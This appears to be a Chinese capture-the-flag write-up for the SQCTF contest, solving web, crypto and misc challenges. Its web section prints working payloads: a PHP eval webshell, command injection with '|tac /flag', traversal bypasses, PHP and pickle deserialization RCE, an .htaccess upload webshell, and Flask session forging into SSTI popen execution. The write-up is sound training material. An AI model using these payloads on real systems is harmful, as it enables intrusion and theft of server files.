WEB

ezGame

obj.score = 2048; 
obj.getFlag();

image-20250407103049944

sqctf{8c2b0a296da74b82acf2fd235ac283e0}

My Blog

image-20250407104227753

image-20250407104113560

sqctf{93bd885c5cdd4d5a81aaf8004ed2d793}

baby include

image-20250407103432012

sqctf{31e02dc5ecc54641830ad49e2732683b}

商师一日游

image-20250407104811075

改cookie

image-20250407104926128

image-20250407105414396

image-20250407105554389

hhh=php%0a1

image-20250407110021726

去掉disable

image-20250407110244440

image-20250407110256336

@eval($_POST['memory']);

蚁剑连接

image-20250407110457594

sqctf{6010034cbdb74de2a54f7d9fd4f1a907}

Upload_Level1

改后缀

image-20250407104649249

image-20250407104703558

sqctf{1ab92700f555466d817f9c3d97bb0082}

File_download

看help知道向/DownloadServlet传参filename,扫目录发现/WEB-INF/web.xml尝试下载

image-20250407195456882

在里面找到com.ctf.flag.FlagManager,按照java的规则完整路径为/WEB-INF/classes/com/ctf/flag/FlagManager.class,读取获得原始代码,这里需要经过反编译

image-20250407215255441

源码如下

package com.ctf.flag;

import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;
/* loaded from: _WEB-INF_classes_com_ctf_flag_FlagManager (1).class */
public class FlagManager extends HttpServlet {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Please input your flag: ");
String str = sc.next();
System.out.println("Your input is: ");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}

public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList<>();
for (char c : arr) {
int result = (c + '&') ^ 48;
Resultlist.add(Integer.valueOf(result));
}
int[] key = {110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
ArrayList<Integer> Keylist = new ArrayList<>();
for (int i : key) {
Keylist.add(Integer.valueOf(i));
}
System.out.println("Result: ");
if (Resultlist.equals(Keylist)) {
System.out.println("Congratulations! ");
} else {
System.out.println("Error! ");
}
}
}

最后反向解密一下就能获得flag了

key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag = ""

for result in key:
c = (result ^ 48) - 38
flag += chr(c)

print("Flag:", flag)

SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

Through

过滤了../,尝试绕过

file=..././..././..././..././../flag

image-20250408124403286

sqctf{93c6b309fd1045299255607dfd025afc}

<?php
class test{
var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}';
var $pswd = 'sunshine';
}

//O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";};s:4:"pswd";s:8:"sunshine";}
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}
//O:4:"test":2:{s:4:"user";s:116:"stopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstop";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}
$a = new test();
//echo serialize($a);
$b = 'O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}';
echo urlencode($b);
$b =str_replace("php","stop",$b);

//O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A116%3A%22phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22escaping%22%3B%7D%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22sunshine%22%3B%7D
payload=O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A116%3A%22phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22escaping%22%3B%7D%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22sunshine%22%3B%7D

sqctf{c4292c42a35e45709eae8e3fe48616d8}

eeaassyy

两下F12强制进入开发者模式,刷新看到源码中flag

image-20250407114603092

sqctf{916fe29bce8e4e72aa521bd0bc9dd4c7}

嘿嘿嘿

<?php
highlight_file(__FILE__);

class hhh {
public $file;
public $content;

public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}

public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}

class xxx {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __toString() {
return $this->data;
}
}

class yyy {
public $path;
public $allowed;

public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}

public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}

if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);

if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}

if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}

if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}
?>

传参如下可在源码中找到flag

data=O:3:"hhh":2:{s:4:"file";s:8:"test.txt";s:7:"content";s:8:"GET_FLAG";}

image-20250407180910594

sqctf{515b1f05c5fd4a548f8f98a0c21199a4}

唯一

image-20250407185412418

fenjing一把梭

sqctf{0b386d7b8aaa4701899437ee11b2f7c9}

RceMe

image-20250409102311353

sqctf{7659b6b996064f06b9735933cc765d17}

小小查询系统

image-20250409102611111

SQCTF{66a47fc2-cf6e-7648-b523-d29363b5580c}

baby rce

image-20250409103545986

param1[]=a&param2[]=b
payload=TYctf::getKey

sqctf{bf0d0c916ee843e9b6ca6f00945ee80e}

Input a number

image-20250409103714302

sqctf=114514.1

sqctf{895be7a3f03d43cdb28efd69df526801}

Ping

image-20250409103903771

ip=1|tac /flag

sqctf{c222443e8a164d6f92614964b3fc54c5}

Ez_calculate

import requests
from bs4 import BeautifulSoup
import re

url = "http://example.com/path"

def solve_math_challenge():
with requests.Session() as s:
# 获取页面并提取表达式
get_resp = s.get(url)
if get_resp.status_code != 200:
print("Failed to fetch page")
return

soup = BeautifulSoup(get_resp.text, "html.parser")
challenge_div = soup.find("div", class_="challenge")
if not challenge_div:
print("No challenge found")
return

expression = challenge_div.text.strip()
if not re.match(r"^[\d\+\-\*\/\(\) ]+$", expression):
print("Invalid expression format")
return

# 计算表达式
try:
result = eval(expression)
except:
print("Calculation error")
return

# 提交答案
post_data = {"value": result}
post_resp = s.post(url, data=post_data)

# 输出响应(含flag)
print("Response:\n", post_resp.text)

if __name__ == "__main__":
solve_math_challenge()

image-20250409105302727

sqctf{f7634e407f7d48c7935e34e9c59d9c0d}

无参之舞

url前加view-source:在源码中得知用户名为sqctf,弱口令爆密码为1q2w3e4r

进来rce

exp=print_r(scandir(dirname('FILE')));

image-20250409160209071

exp="\x73\x79\x73\x74\x65\x6d"("cat /var/www/html/???g.php");

image-20250409162304130

sqctf{1e40299fbb0d4094934d6908617665a6}

白月光

测试后为ssti

image-20250409144109926

image-20250409144416825

fenjing一把梭

sqctf{088c9eb2e7a243d1aaad470537a6a677}

Upload_Level2

还是抓包改后缀

image-20250409113716691

image-20250409113723609

sqctf{b390e1279a4c4dc9a1e6a339baee4cf2}

哎呀大大大黑塔

一直没思路,直到用了手机b站,不是电脑b站真没那个码

ddae6146b3e604c6c198d54bcc2623b6

传参SQNU=BV1tXckehEd3,然后就是一个简单的反序列化

<?php
class Secret {
public $key;
public function __construct($key) {
$this->key = $key;
}
public function __destruct() {
if ($this->key === "SQCTF") {
include "./flag.php";
echo "flag : ".$flag;
} else {
echo "Try harder!";
}
}
}

if (isset($_POST['data'])) {
$data = $_POST['data'];
$obj = unserialize($data);
} else {
highlight_file(__FILE__);
}
?>
<?php
class Secret {
public $key;
}

$a=new Secret("SQCTF");
echo serialize($a);
?>
//O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

image-20250410130725951

sqctf{e1598e7cb5914588bdff1a3f5cb756ec}

ggoodd

image-20250411131112387

sqctf{de4679d9726f41c08529f86a5a1a7292}

开发人员的小失误

image-20250411131254701

image-20250411131504764

sqctf{9bf2ffa4a60f47c2886d0882a271bb6a}

伪装

eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_ioDg.fMlzu2ZZj9VVDkAyhE4a63CQlqw

image-20250411132747488

sqctf{4620906446af4f0f929335b24c26803b}

Look for the homepage

image-20250411133047083

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

// 怎么在不知道flag.php中的code和flag的情况下绕过? 我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
$pass1 = (String)$_GET['pass1'];
$pass2 = (String)$_GET['pass2'];
$verify_code = (String)$_GET['verify'];

if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
echo "Level1 Pass\n";
echo "关关难过关关过 !!!";
if(isset($_POST['value1'])){
$value1 = $_POST['value1'];
$value3 = $_GET['value3'];

parse_str($value1,$a);

if($a['fly']==md5($value3)){
echo "Level2 Pass\n";
echo $flag;
}
}
else{
echo "想想看parse_str是干嘛的来着\n";
}
}
else{
echo "你小子就是这样绕过的吗 ???\n";
}
}
pass1=any&pass2=welcome&verify=any&value3=240610708
value1=fly%3D0

image-20250411133311270

sqctf{11d6d9996ba8435ca376d9391923ee83}

Are you from SQNU?

image-20250411134257685

sqctf{db25ceece131436da041284743803cc6}

自私的小s

image-20250411134735550

<?php
highlight_file(__FILE__);
class Genshin_impact{
private $value;

public function __construct($v){
$this->value = $v;
}

function __destruct(){
echo eval($this->value);
}
}

$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>
<?php
class Genshin_impact {
private $value;

public function __construct($v) {
$this->value = $v;
}

function __destruct() {
eval($this->value);
}
}

// 构造恶意对象
$object = new Genshin_impact('system("tac /flag");');

// 序列化对象
$payload = serialize($object);

//二次编码绕
$payload = str_replace('%', '%25', $payload);

// URL 编码
$payload = urlencode($payload);

// 输出最终的 payload
echo $payload;
?>

//O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A20%3A%22system%28%22tac+%2Fflag%22%29%3B%22%3B%7D

image-20250411135802024

sqctf{355209968c93462386d8d503bb31d587}

pickle

import pickle
import base64
import subprocess # 改用 subprocess 获取输出

class Exploit:
def __reduce__(self):
# 使用 subprocess.check_output 直接获取命令输出
return (subprocess.check_output, (['cat', '/flag'], ))

# 生成序列化 Payload
payload = pickle.dumps(Exploit(), protocol=0)
b64_payload = base64.b64encode(payload).decode()
print("Payload:", b64_payload)

注意这里不要使用os,不然只会返回地址而不是返回最终的flag值

image-20250411152614312

sqctf{9f864919be8e4248baf3061c4aba1f23}

图片展示功能

上传.htaccess如下

<FilesMatch "1.png" >
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.png为一句话木马

image-20250411153817417

sqctf{bd80fef79c4846548686158d25607ec0}

千查万别

先读../../app.py尝试,获得源码

@app.route('/view')
def view_doc():
doc = request.args.get('doc', 'test.txt')
base_dir = '/app/static/docs'
filepath = os.path.realpath(os.path.join(base_dir, doc))

if filepath == '/flag':
return "非法路径!"

try:
with open(filepath, 'r') as f:
content = f.read()
return f"
{content}
"
except:
return "文档不存在!"

if __name__ == '__main__':
app.run(host='0.0.0.0')

看环境变量/proc/self/environ看到里面的keySECRET_KEY=Dark_Flame

session解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption("eyJyb2xllijp7lmlzX2FkbWluljowLCJuyW1lijoiywl5Yw1heWEifx0.Z jDmA.dzMxh-qxISFVEL91U9GgNhezv9o".encode()))#把需要加密的flasksession的值换一下就行

结果{'role': {'is_admin': 0, 'name': 'aiyamaya'}}

现在json和key都知道,就可以进行伪造session了

flask-unsign --sign --cookie "{'username':'{{8*8}}'}" --secret 'Dark_Flame'
//eyJ1c2VybmFtZSI6Int7OCo4fX0ifQ.Z_lSpA.xBJwrt81rTGqQTMK-NqrNbMssiA
flask-unsign --sign --cookie "{'username': '{{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.values.a).read()}}'}" --secret 'Dark_Flame'
//.eJwdi0EKgCAQRe_iytkI1a6rRMhYQwim5mgb8e6Zq_94j19FYUoebxKrqFWC0vpwyKx1J4NMA7iYYal7Cdu0zHu31ts88uWCQfd_YojkZaKnEGf1ouurEFQiPCW0JtoHJSko4A.Z_lWHw.ilQwjajvfx0MJMJLUNiInQRGYYU

image-20250412020118913

sqctf{c9423ffd63ab4b94b91dd6989aaa1b89}

CRYPTO

base?

kR53l4pXoztyd3wSe3kJc3dBpyQQpj8Qbm8Odm8Jcz4OpC5zcClzcCgPvg==

cyberchef尝试换为z64码表解密

image-20250408124609514

SQCTF{b7b48685-03ef-4e24-b25b-212fac2ec2d3}

别阴阳我了行吗?

image-20250407115549780

SQCTF{xm!tql!xm!}

春风得意马蹄疾

多次解码

image-20250407115951659

SQCTF{E2jacnicamcm_cnanamw_kwkma}

简单RSA

from sympy import factorint
from Crypto.Util.number import inverse

# 给定参数
e = 65537
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616

# 分解模数n为p和q
factors = factorint(n)
p, q = factors.keys()

# 计算φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥d
d = inverse(e, phi_n)

# 解密密文
m = pow(c, d, n)

# 将结果转换为十六进制字符串
hex_m = hex(m)[2:]

# 将十六进制字符串转换为ASCII字符串
flag = bytes.fromhex(hex_m).decode('utf-8')

print("原始消息:", flag)

SQCTF{be7e48547356cdf16649fd29e0ff9e1f}

小白兔白又白

base91->base64->base62->base16后获得如下以U2FsdGVkX1开头的字符串,联想到rabbit加密,密钥为233

U2FsdGVkX1+cEAtCb8l5oIiX+J9CwG3SpvdB38nPFkjnJ1HmRvbYQubVZDL3

image-20250407180453696

SQCTF{LOOK_my_eyes_baby_why?}

ezCRT

import math
from gmpy2 import iroot

# 给定参数
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

# 验证模数互质
assert math.gcd(n1, n2) == 1 and math.gcd(n1, n3) == 1 and math.gcd(n2, n3) == 1, "模数不互质"

# 合并前两个同余式
d1 = (c2 - c1) % n2
inv_n1_mod_n2 = pow(n1, -1, n2)
k = (d1 * inv_n1_mod_n2) % n2
x12 = c1 + k * n1

# 合并第三个同余式
n12 = n1 * n2
d2 = (c3 - x12) % n3
inv_n12_mod_n3 = pow(n12, -1, n3)
k2 = (d2 * inv_n12_mod_n3) % n3
x_total = x12 + k2 * n12

# 计算立方根
m = iroot(x_total, 3)
if m[1]:
# 将整数转换为字节,自动处理前导零
hex_value = hex(m[0])[2:]
if len(hex_value) % 2 != 0:
hex_value = '0' + hex_value # 补齐偶数长度
flag_bytes = bytes.fromhex(hex_value)

# 直接输出字节或尝试 Latin-1 解码
print("原始字节:", flag_bytes)
print("十六进制:", flag_bytes.hex())
try:
print("UTF-8 解码:", flag_bytes.decode('utf-8'))
except UnicodeDecodeError:
print("UTF-8 解码失败,尝试 Latin-1 解码:", flag_bytes.decode('latin-1'))
else:
print("无法计算精确立方根")

image-20250407192408266

SQCTF{CRT_Unl0cks_RSA_Eff1c13ncy}

失落矿洞中的密码

# 使用SageMath

p = 7654319
a = 1234577
b = 3213242
E = EllipticCurve(GF(p), [a, b])

# 定义基点和公钥
G = E(5234568, 2287747)
public_key = E(2366653, 1424308)

# 计算私钥d(离散对数)
d = G.discrete_log(public_key) # 这可能需要一定时间,取决于曲线阶的分解

# 解密数据
c1 = E(5081741, 6744615)
c2 = E(610619, 6218)

m = c2 - d * c1
flag = m[0] + m[1]
print("Decrypted x + y =", flag)

image-20250407211052448

SQCTF{5720914}

密室逃脱的终极挑战

记事本一把梭

image-20250409101341138

SQCTF{F4BBAC33-8D80-A886-5238-EA35B38B353A}

玩的挺变态啊清茶哥

猪圈密码解密

image-20250409102018433

SQCTF{jijibaotonghualizuoyingxiong}

丢三落四的小I

from Crypto.Util.number import inverse, long_to_bytes

n = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e = 65537
dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

# 计算e*dp -1
edp_1 = e * dp - 1

# 遍历可能的k值寻找p
found = False
for k in range(1, e + 1):
if edp_1 % k == 0:
x = edp_1 // k
p_candidate = x + 1
if n % p_candidate == 0:
p = p_candidate
found = True
break

if not found:
raise ValueError("Failed to factor n with given dp")

q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

# 输出明文(flag)
print("Decrypted flag:", long_to_bytes(m).decode())

SQCTF{7b909221-c8ff-f391-0c86-d3a9ca8491d1}

ez_SCA

import numpy as np
import matplotlib.pyplot as plt
from scipy.interpolate import interp1d

# 加载模板轨迹
template_trace_0 = np.load('template_trace_0.npy')
template_trace_1 = np.load('template_trace_1.npy')

# 加载能量轨迹
traces = np.load('energy_traces_with_flag.npy')

# 提示:需要推导如何从能量轨迹恢复为明文 flag
def bits_to_text(bits):
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
text = ''.join([chr(int(char, 2)) for char in chars])
return text

def recover_flag():
# 假设每个能量轨迹对应一个二进制位
recovered_bits = []

# 遍历每个能量轨迹
for trace in traces:
# 对齐模板轨迹和能量轨迹的长度(假设采样率一致)
if len(template_trace_0) != len(trace):
# 使用插值法对齐长度
x = np.linspace(0, 1, len(template_trace_0))
f0 = interp1d(x, template_trace_0)
f1 = interp1d(x, template_trace_1)
x_new = np.linspace(0, 1, len(trace))
template_trace_0_resampled = f0(x_new)
template_trace_1_resampled = f1(x_new)
else:
template_trace_0_resampled = template_trace_0
template_trace_1_resampled = template_trace_1

# 计算与模板轨迹的相似性(使用欧氏距离)
dist_0 = np.linalg.norm(trace - template_trace_0_resampled)
dist_1 = np.linalg.norm(trace - template_trace_1_resampled)

# 判断当前轨迹是 0 还是 1
if dist_0 < dist_1:
recovered_bits.append('0')
else:
recovered_bits.append('1')

# 将二进制序列转换为文本
flag = bits_to_text(''.join(recovered_bits))
return flag

# 恢复 flag
flag = recover_flag()
print("Recovered Flag:", flag)

image-20250409165512673

SQCTF{easy_funny_and_not_hard_sca_hhh_just_kingdding}

字母的轮舞与维吉尼亚的交响曲

猜了挺久,结果去学习了下维吉尼亚密码,在线解密网站 一把梭了

image-20250411003449925

解密后如下

I thought of these words again from "One Hundred Years of Solitude." Lonelyness is a curse of creation to the group, and solitude is the only outlet for loneliness.Perhaps it was at this point that I finally understood Colonel Buendía and José Arcadio.Our hometown becomes a place we love not because it is our hometown, but because we believe it to be our hometown. Home is used as a place to rest a drifting soul, and that is why it smells of decay and death, like withered leaves and deserted yellow soil. To return home is to break the concept of "me" back into "us," to be integrated into such a huge whole that slowly becomes invisible, Macondo, the City of Mirrors.“On a winter night, the soup pot was boiling on the stove, but he missed the sweltering heat in the back hall of the bookstore. The hum of the sun's rays on the dusty almond trees, the faint sirens of the midday meal, as he had in Macondo yearned for the soup on the stove in winter, the call of the coffee-peddler, and the swift flight of the larks in spring. VTFWI{brx_duh_zlq!}"Rizhao," he said, turning to Macondo. The two types of nostalgia were like mirrors opposite, and he was stuck in between, confused, unable to maintain a sublime transcendence.”

中间的VTFWI{brx_duh_zlq!}不用多说,凯撒密码

SQCTF{you_are_win!}

你的天赋是什么

image-20250411140201957

SQCTF{YOU-HAVE-TALENT}

Common Modulus

from libnum import n2s

# 扩展欧几里得算法,用于计算 gcd 和系数 x, y
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
else:
gcd, x, y = extended_gcd(b % a, a)
return gcd, y - (b // a) * x, x

# 给定的值
n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1 = 4217054819
e2 = 2800068527

# 计算 x 和 y,使得 x * e1 + y * e2 = 1
gcd, x, y = extended_gcd(e1, e2)
assert gcd == 1, "e1 和 e2 必须互质"

# 计算 m = c1^x * c2^y mod n
m = (pow(c1, x, n) * pow(c2, y, n)) % n

# 将 m 转换回 flag 字符串
flag = n2s(m)
print("Flag:", flag)

image-20250411141241905

SQCTF{06774dcf-b9d1-3c2d-8917-7d2d86b6721c}

《1789年的密文》

# Rotor cipher decoder
# parameter input
rotor = [
"QWXZRJYVKSLPDTMACFNOGIEBHU", "BXZPMTQOIRVHKLSAFUDGJYCEWN",
"LKJHGFDSAQZWXECRVBYTNUIMOP", "POIUYTREWQASDFGHJKLMNBVCXZ",
"ZXCVBNMASDFGHJKLPOIUYTREWQ", "MNHBGVCFXDRZESWAQPLOKMIJUY",
"YUJIKMOLPQAWSZEXRDCFVGBHNM", "EDCRFVTGBYHNUJMIKOLPQAZWSX",
"RFVGYBHNUJMIKOLPQAZWSXEDCT", "TGBYHNUJMIKOLPQAZWSXEDCRFV",
"WSXEDCRFVTGBYHNUJMIKOLPQAZ", "AZQWSXEDCRFVTGBYHNUJMIKOLP",
"VFRCDXESZWAQPLOKMIJNUHGBTG", "IKOLPQAZWSXEDCRFVTGBYHNUJM"
]

cipher = "UNEHJPBIUOMAVZ"

key = [4, 2 ,11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13]



tmp_list=[]

for i in range(0, len(rotor)):
tmp=""
k = key[i] - 1
for j in range(0, len(rotor[k])):
if cipher[i] == rotor[k][j]:
if j == 0:
tmp=rotor[k]
break
else:
tmp=rotor[k][j:] + rotor[k][0:j]
break
tmp_list.append(tmp)
# print(tmp_list)

message_list = []
for i in range(0, len(tmp_list[i])):
tmp = ""
for j in range(0, len(tmp_list)):
tmp += tmp_list[j][i]
message_list.append(tmp)

print(message_list)

image-20250411145035281

观察发现MAKETYSECGREAT有意义,大写错误,那试试小写

SQCTF{maketysecgreat}

MISC

Welcome_Sign_in

公众号签到

SQCTF{It_is_really_signin}

ez_music1

image-20250407130406176

SQCTF{Rush_B}

love.host

随波逐流foremost提取,获得ZIP中flag,最后将前缀改为SQCTF

SQCTF{Sun Ensheng is the most handsome.}

王者荣耀真是太好玩了

王者搜索找到该用户看到头像为一个地点

a30b62e895e45be2edfb9d307d718a7d

百度地图搜索这个位置,看到评论,url解码获得flag

557917282b48a77c218adf5d5fca61e8

sqctf{d29_qaXVza_GlndXlpZ_Xhpbm5p_ZGVoYWh_haGE%3d}

阿尼亚

根据名字,在线网站一把梭

image-20250408183030782

SQCTF{8f6711e6-7bb1-44e5-9ddf-5138127235ab}

宝宝你是一只白色大猫猫

silenteye解密获得二维码

image-20250408183629963

image-20250408183645174

改了长宽,随波逐流恢复获得完整二维码,解码得

image-20250408183846040

SQCTF{你是否承认仙舟云骑军将军景元天下无双}

YuanShen_Start!

image-20250409111851344

SQCTF{yuan_shen_1s_a_good_game!}

解密获得一个docx文件,改为zip后缀后获得一个有密码的压缩包

docx文件中间改字体颜色,被白色图片遮了,要先移开

image-20250409231527979

image-20250409230543979

SQCTF{f968566s-3fb6-4bfd-885a-d9e102528784}

注意这里的白色图片另存出来在记事本拉到最后可以看到另一个密码

image-20250410131825184

78Nc4eeQNQLorCL6Vhh4tC8gumHm8aDi5apYDgaVoEzDvJMFUeXZn3BBhyn

image-20250410132140973

image-20250410132233739

base58->W型栅栏密码

S-2Q4av7C77d}T5evF66c{–y6r0db7esbutg28g73-

SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}

总结SQCTF{yuan_shen_1s_a_good_game!}->SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}->SQCTF{f968566s-3fb6-4bfd-885a-d9e102528784}

被fakeflag整惨了

image-20250410132545463

SQCTF{27fhcwg2h-hv2rv7b-82RFHCbbvw-289fv2}

piet

下工具,没啥说的

image-20250409113502556

SQCTF{Hello world!}

孩儿们等我破军

先是一个行列式,结果如下,结合文件名,密码为15375022

image-20250409115414274

六张照片,记事本拉到最后,依字母顺序为WeL1c0Me

风暴巨剑图片记事本打开,最后key为O5XXOILUMETXGIDDORTGK4R7EE======

image-20250409120726632

wow!ta's ctfer?!

最后一个二维码

破军

手搓个二维码

image-20250409135040428

image-20250409135052473

SQCTF{亲爱的召唤师:欢迎来到sqnuctf!}

FFT IFFT

import os
import cv2
import struct
import numpy as np

# Create directories for extracted and reconstructed frames
os.makedirs('m_frame', exist_ok=True)
os.makedirs('p_frame', exist_ok=True)
os.makedirs('reconstructed', exist_ok=True)

